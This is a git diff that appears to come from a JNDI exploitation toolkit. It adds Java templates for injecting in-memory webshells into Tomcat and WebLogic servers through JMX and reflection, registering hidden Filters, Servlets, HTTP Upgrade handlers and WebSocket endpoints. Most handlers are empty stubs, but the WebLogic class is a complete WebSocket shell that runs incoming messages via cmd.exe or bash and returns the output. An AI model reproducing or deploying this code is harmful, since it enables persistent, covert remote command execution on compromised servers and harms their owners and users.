+ try { + RequestFacade requestFacade = (RequestFacade) servletRequestEvent.getServletRequest(); + Field field = requestFacade.getClass().getDeclaredField("request"); + field.setAccessible(true); + Request request = (Request) field.get(requestFacade); + Response response = request.getResponse(); + requestInitializedHandle(request, response); + } catch (Exception ignore) { + } + } + + public void requestInitializedHandle(HttpServletRequest request, HttpServletResponse response) { + } +} \ No newline at end of file diff --git a/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TSMSFromJMXF.java b/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TSMSFromJMXF.java new file mode 100644 index 0000000..6c48880 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TSMSFromJMXF.java @@ -0,0 +1,115 @@ +package com.qi4l.jndi.template.memshell.tomcat; + +import com.sun.jmx.mbeanserver.NamedObject; +import com.sun.jmx.mbeanserver.Repository; +import org.apache.catalina.Context; +import org.apache.catalina.core.ApplicationFilterConfig; +import org.apache.catalina.core.StandardContext; +import org.apache.tomcat.util.modeler.Registry; + +import javax.management.DynamicMBean; +import javax.management.MBeanServer; +import javax.management.ObjectName; +import javax.servlet.*; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.util.HashMap; +import java.util.Set; + +/** + * 使用 JMX Bean 注入 Tomcat Filter 型内存马 + * + * @author QI4L + */ +public class TSMSFromJMXF implements Filter { + public static String pattern; + + public static String NAME; + + static { + try { + MBeanServer mbeanServer = Registry.getRegistry(null, null).getMBeanServer(); + Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor"); + field.setAccessible(true); + Object obj = field.get(mbeanServer); + + field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository"); + field.setAccessible(true); + Repository repository = (Repository) field.get(obj); + + Set objectSet = repository.query(new ObjectName("Catalina:host=localhost,name=NonLoginAuthenticator,type=Valve,*"), null); + if (objectSet.size() == 0) { + // springboot的jmx中为Tomcat而非Catalina + objectSet = repository.query(new ObjectName("Tomcat:host=localhost,name=NonLoginAuthenticator,type=Valve,*"), null); + } + for (NamedObject namedObject : objectSet) { + DynamicMBean dynamicMBean = namedObject.getObject(); + field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource"); + field.setAccessible(true); + obj = field.get(dynamicMBean); + + field = Class.forName("org.apache.catalina.authenticator.AuthenticatorBase").getDeclaredField("context"); + field.setAccessible(true); + StandardContext standardContext = (StandardContext) field.get(obj); + + field = standardContext.getClass().getDeclaredField("filterConfigs"); + field.setAccessible(true); + HashMap map = (HashMap) field.get(standardContext); + + if (map.get(NAME) == null) { + //生成 FilterDef + //由于 Tomcat7 和 Tomcat8 中 FilterDef 的包名不同,为了通用性,这里用反射来写 + Class filterDefClass = null; + try { + filterDefClass = Class.forName("org.apache.catalina.deploy.FilterDef"); + } catch (ClassNotFoundException e) { + filterDefClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef"); + } + + Object filterDef = filterDefClass.newInstance(); + filterDef.getClass().getDeclaredMethod("setFilterName", new Class[]{String.class}).invoke(filterDef, NAME); + Filter filter = new TSMSFromJMXF(); + + filterDef.getClass().getDeclaredMethod("setFilterClass", new Class[]{String.class}).invoke(filterDef, filter.getClass().getName()); + filterDef.getClass().getDeclaredMethod("setFilter", new Class[]{Filter.class}).invoke(filterDef, filter); + standardContext.getClass().getDeclaredMethod("addFilterDef", new Class[]{filterDefClass}).invoke(standardContext, filterDef); + + //设置 FilterMap + //由于 Tomcat7 和 Tomcat8 中 FilterDef 的包名不同,为了通用性,这里用反射来写 + Class filterMapClass = null; + try { + filterMapClass = Class.forName("org.apache.catalina.deploy.FilterMap"); + } catch (ClassNotFoundException e) { + filterMapClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap"); + } + + Object filterMap = filterMapClass.newInstance(); + filterMap.getClass().getDeclaredMethod("setFilterName", new Class[]{String.class}).invoke(filterMap, NAME); + filterMap.getClass().getDeclaredMethod("setDispatcher", new Class[]{String.class}).invoke(filterMap, DispatcherType.REQUEST.name()); + filterMap.getClass().getDeclaredMethod("addURLPattern", new Class[]{String.class}).invoke(filterMap, pattern); + //调用 addFilterMapBefore 会自动加到队列的最前面,不需要原来的手工去调整顺序了 + standardContext.getClass().getDeclaredMethod("addFilterMapBefore", new Class[]{filterMapClass}).invoke(standardContext, filterMap); + + //设置 FilterConfig + Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, filterDefClass); + constructor.setAccessible(true); + ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(new Object[]{standardContext, filterDef}); + map.put(NAME, filterConfig); + } + } + } catch (Exception ignored) { + } + } + + @Override + public void init(FilterConfig filterConfig) throws ServletException { + } + + @Override + public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) { + } + + @Override + public void destroy() { + } +} diff --git a/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TSMSFromJMXS.java b/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TSMSFromJMXS.java new file mode 100644 index 0000000..350c565 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TSMSFromJMXS.java @@ -0,0 +1,91 @@ +package com.qi4l.jndi.template.memshell.tomcat; + +import com.sun.jmx.mbeanserver.NamedObject; +import com.sun.jmx.mbeanserver.Repository; +import org.apache.catalina.Wrapper; +import org.apache.catalina.core.ApplicationServletRegistration; +import org.apache.catalina.core.StandardContext; +import org.apache.tomcat.util.modeler.Registry; + +import javax.management.DynamicMBean; +import javax.management.MBeanServer; +import javax.management.ObjectName; +import javax.servlet.*; +import java.lang.reflect.Field; +import java.util.Set; + +/** + * 使用 JMX Bean 注入 Tomcat Servlet 型内存马 + * + * @author QI4L + */ +public class TSMSFromJMXS implements Servlet { + + public static String pattern; + + public static String NAME; + + static { + try { + MBeanServer mbeanServer = Registry.getRegistry(null, null).getMBeanServer(); + Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor"); + field.setAccessible(true); + Object obj = field.get(mbeanServer); + + field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository"); + field.setAccessible(true); + Repository repository = (Repository) field.get(obj); + + Set objectSet = repository.query(new ObjectName("Catalina:host=localhost,name=NonLoginAuthenticator,type=Valve,*"), null); + if (objectSet.size() == 0) { + // springboot的jmx中为Tomcat而非Catalina + objectSet = repository.query(new ObjectName("Tomcat:host=localhost,name=NonLoginAuthenticator,type=Valve,*"), null); + } + for (NamedObject namedObject : objectSet) { + DynamicMBean dynamicMBean = namedObject.getObject(); + field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource"); + field.setAccessible(true); + obj = field.get(dynamicMBean); + + field = Class.forName("org.apache.catalina.authenticator.AuthenticatorBase").getDeclaredField("context"); + field.setAccessible(true); + StandardContext standardContext = (StandardContext) field.get(obj); + + if (standardContext.findChild(NAME) == null) { + Wrapper wrapper = standardContext.createWrapper(); + wrapper.setName(NAME); + standardContext.addChild(wrapper); + Servlet servlet = new TSMSFromJMXS(); + wrapper.setServletClass(servlet.getClass().getName()); + wrapper.setServlet(servlet); + ServletRegistration.Dynamic registration = new ApplicationServletRegistration(wrapper, standardContext); + registration.addMapping(pattern); + } + } + } catch (Exception ignored) { + } + } + + @Override + public void init(ServletConfig servletConfig) throws ServletException { + + } + + @Override + public ServletConfig getServletConfig() { + return null; + } + + @Override + public void service(ServletRequest servletRequest, ServletResponse servletResponse) { + } + + @Override + public String getServletInfo() { + return null; + } + + @Override + public void destroy() { + } +} \ No newline at end of file diff --git a/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TUGMSFromJMXuP.java b/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TUGMSFromJMXuP.java new file mode 100644 index 0000000..4de2d28 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TUGMSFromJMXuP.java @@ -0,0 +1,100 @@ +package com.qi4l.jndi.template.memshell.tomcat; + +import com.sun.jmx.mbeanserver.NamedObject; +import com.sun.jmx.mbeanserver.Repository; +import org.apache.catalina.connector.Connector; +import org.apache.coyote.Adapter; +import org.apache.coyote.Processor; +import org.apache.coyote.Request; +import org.apache.coyote.UpgradeProtocol; +import org.apache.coyote.http11.AbstractHttp11Protocol; +import org.apache.coyote.http11.upgrade.InternalHttpUpgradeHandler; +import org.apache.tomcat.util.modeler.Registry; +import org.apache.tomcat.util.net.SocketWrapperBase; + +import javax.management.DynamicMBean; +import javax.management.MBeanServer; +import java.lang.reflect.Field; +import java.util.HashMap; + +/** + * Tomcat Upgrade 内存马 + */ +public class TUGMSFromJMXuP implements UpgradeProtocol { + public static String pattern; + + static { + try { + MBeanServer mbeanServer = Registry.getRegistry(null, null).getMBeanServer(); + Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor"); + field.setAccessible(true); + Object obj = field.get(mbeanServer); + + field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository"); + field.setAccessible(true); + Repository repository = (Repository) field.get(obj); + + Field field1 = repository.getClass().getDeclaredField("domainTb"); + field1.setAccessible(true); + + HashMap map = (HashMap) field1.get(repository); + HashMap catalinaMap = (HashMap) map.get("Catalina"); + + for (int i = 0; i < catalinaMap.keySet().size(); i++) { + Object key = catalinaMap.keySet().toArray()[i]; + if (key.toString().contains("type=Connector")) { + NamedObject namedObject = (NamedObject) catalinaMap.get(key); + DynamicMBean dynamicMBean = namedObject.getObject(); + + Field field2 = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource"); + field2.setAccessible(true); + Connector connector = (Connector) field2.get(dynamicMBean); + + Field protocolHandlerField = Connector.class.getDeclaredField("protocolHandler"); + protocolHandlerField.setAccessible(true); + AbstractHttp11Protocol handler = (AbstractHttp11Protocol) protocolHandlerField.get(connector); + + Field upgradeProtocolsField = AbstractHttp11Protocol.class.getDeclaredField("httpUpgradeProtocols"); + upgradeProtocolsField.setAccessible(true); + HashMap upgradeProtocols = (HashMap) upgradeProtocolsField.get(handler); + + upgradeProtocols.put(pattern.substring(1), new TUGMSFromJMXuP()); + upgradeProtocolsField.set(handler, upgradeProtocols); + break; + } + } + } catch (Exception ignored) { + } + + } + + @Override + public String getHttpUpgradeName(boolean b) { + return null; + } + + @Override + public byte[] getAlpnIdentifier() { + return new byte[0]; + } + + @Override + public String getAlpnName() { + return null; + } + + @Override + public Processor getProcessor(SocketWrapperBase socketWrapperBase, Adapter adapter) { + return null; + } + + @Override + public InternalHttpUpgradeHandler getInternalUpgradeHandler(Adapter adapter, Request request) { + return null; + } + + @Override + public boolean accept(Request request) { + return false; + } +} diff --git a/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TWSMSFromThread.java b/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TWSMSFromThread.java new file mode 100644 index 0000000..0d410c0 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TWSMSFromThread.java @@ -0,0 +1,60 @@ +package com.qi4l.jndi.template.memshell.tomcat; + +import org.apache.catalina.core.StandardContext; +import org.apache.catalina.loader.WebappClassLoaderBase; +import org.apache.tomcat.websocket.server.WsServerContainer; + +import javax.websocket.Endpoint; +import javax.websocket.EndpointConfig; +import javax.websocket.MessageHandler; +import javax.websocket.Session; +import javax.websocket.server.ServerContainer; +import javax.websocket.server.ServerEndpointConfig; +import java.lang.reflect.Field; + +/** + * Executor 内存马 + * + * @author QI4L + */ +public class TWSMSFromThread extends Endpoint implements MessageHandler.Whole { + + public static String pattern; + + static { + try { + WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); + StandardContext standardContext; + + try { + standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext(); + } catch (Exception ignored) { + Field field = webappClassLoaderBase.getClass().getSuperclass().getDeclaredField("resources"); + field.setAccessible(true); + Object root = field.get(webappClassLoaderBase); + Field field2 = root.getClass().getDeclaredField("context"); + field2.setAccessible(true); + + standardContext = (StandardContext) field2.get(root); + } + + ServerEndpointConfig build = ServerEndpointConfig.Builder.create(TWSMSFromThread.class, pattern).build(); + WsServerContainer attribute = (WsServerContainer) standardContext.getServletContext().getAttribute(ServerContainer.class.getName()); + attribute.addEndpoint(build); + standardContext.getServletContext().setAttribute(pattern, pattern); + } catch (Exception ignored) { + } + } + + public Session session; + + public void onMessage(String message) { + } + + + @Override + public void onOpen(Session session, EndpointConfig config) { + this.session = session; + session.addMessageHandler(this); + } +} diff --git a/src/main/java/com/qi4l/jndi/template/memshell/weblogic/WsWeblogic.java b/src/main/java/com/qi4l/jndi/template/memshell/weblogic/WsWeblogic.java new file mode 100644 index 0000000..fe56d10 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/memshell/weblogic/WsWeblogic.java @@ -0,0 +1,107 @@ +package com.qi4l.jndi.template.memshell.weblogic; + +import com.sun.jmx.mbeanserver.NamedObject; +import com.sun.jmx.mbeanserver.Repository; +import org.glassfish.tyrus.server.TyrusServerContainer; +import weblogic.servlet.internal.HttpConnectionHandler; +import weblogic.servlet.internal.ServletRequestImpl; +import weblogic.servlet.internal.WebAppServletContext; +import weblogic.servlet.provider.ContainerSupportProviderImpl; + +import javax.management.MBeanServer; +import javax.management.ObjectName; +import javax.websocket.Endpoint; +import javax.websocket.EndpointConfig; +import javax.websocket.MessageHandler; +import javax.websocket.Session; +import javax.websocket.server.ServerContainer; +import javax.websocket.server.ServerEndpointConfig; +import java.io.InputStream; +import java.lang.management.ManagementFactory; +import java.lang.reflect.Field; +import java.util.HashSet; +import java.util.Set; + +public class WsWeblogic extends Endpoint implements MessageHandler.Whole { + + static { + try { + Thread threadLocal = Thread.currentThread(); + Field workEntry = threadLocal.getClass().getDeclaredField("workEntry"); + workEntry.setAccessible(true); + weblogic.servlet.provider.ContainerSupportProviderImpl.WlsRequestExecutor wlsRequestExecutor = (ContainerSupportProviderImpl.WlsRequestExecutor) workEntry.get(threadLocal); + Field field1 = wlsRequestExecutor.getClass().getDeclaredField("connectionHandler"); + field1.setAccessible(true); + weblogic.servlet.internal.HttpConnectionHandler connectionHandler = (HttpConnectionHandler) field1.get(wlsRequestExecutor); + ServletRequestImpl request = connectionHandler.getServletRequest(); + String path = request.getParameter("path"); + ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(WsWeblogic.class, path).build(); + MBeanServer server = ManagementFactory.getPlatformMBeanServer(); + Field field = server.getClass().getDeclaredField("wrappedMBeanServer"); + field.setAccessible(true); + Object obj = field.get(server); + field = obj.getClass().getDeclaredField("mbsInterceptor"); + field.setAccessible(true); + obj = field.get(obj); + field = obj.getClass().getDeclaredField("repository"); + field.setAccessible(true); + Repository repository = (Repository) field.get(obj); + Set namedObjects = repository.query(new ObjectName("com.bea:Type=ApplicationRuntime,*"), null); + for (NamedObject namedObject : namedObjects) { + field = namedObject.getObject().getClass().getDeclaredField("managedResource"); + field.setAccessible(true); + obj = field.get(namedObject.getObject()); + field = obj.getClass().getSuperclass().getDeclaredField("children"); + field.setAccessible(true); + HashSet set = (HashSet) field.get(obj); + for (Object o : set) { + if (o.getClass().getName().endsWith("WebAppRuntimeMBeanImpl")) { + field = o.getClass().getDeclaredField("context"); + field.setAccessible(true); + WebAppServletContext servletContext = (WebAppServletContext) field.get(o); + TyrusServerContainer container = (TyrusServerContainer) servletContext.getAttribute(ServerContainer.class.getName()); + try { + container.register((jakarta.websocket.server.ServerEndpointConfig) configEndpoint); + System.out.println("add success,path: " + servletContext.getContextPath() + path); + } catch (Exception e) { + + } + } + } + } + } catch (Exception ignored) { + } + + } + + private Session session; + + @Override + public void onMessage(String s) { + try { + Process process; + boolean bool = System.getProperty("os.name").toLowerCase().startsWith("windows"); + if (bool) { + process = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", s}); + } else { + process = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", s}); + } + InputStream inputStream = process.getInputStream(); + StringBuilder stringBuilder = new StringBuilder(); + int i; + while ((i = inputStream.read()) != -1) + stringBuilder.append((char) i); + inputStream.close(); + process.waitFor(); + session.getBasicRemote().sendText(stringBuilder.toString()); + } catch (Exception exception) { + exception.printStackTrace(); + } + } + + @Override + public void onOpen(Session session, EndpointConfig endpointConfig) { + this.session = session; + session.addMessageHandler(this); + } +} diff --git a/src/test/java/Main.java b/src/test/java/Main.java new file mode 100644 index 0000000..cb27841 --- /dev/null +++ b/src/test/java/Main.java @@ -0,0 +1,7 @@ +import com.qi4l.jndi.LdapServer; + +public class Main { + public static void main(String[] args) { + System.out.println(LdapServer.class.getPackage().getName() + ".template.echo." + "WindowsEcho"); + } +}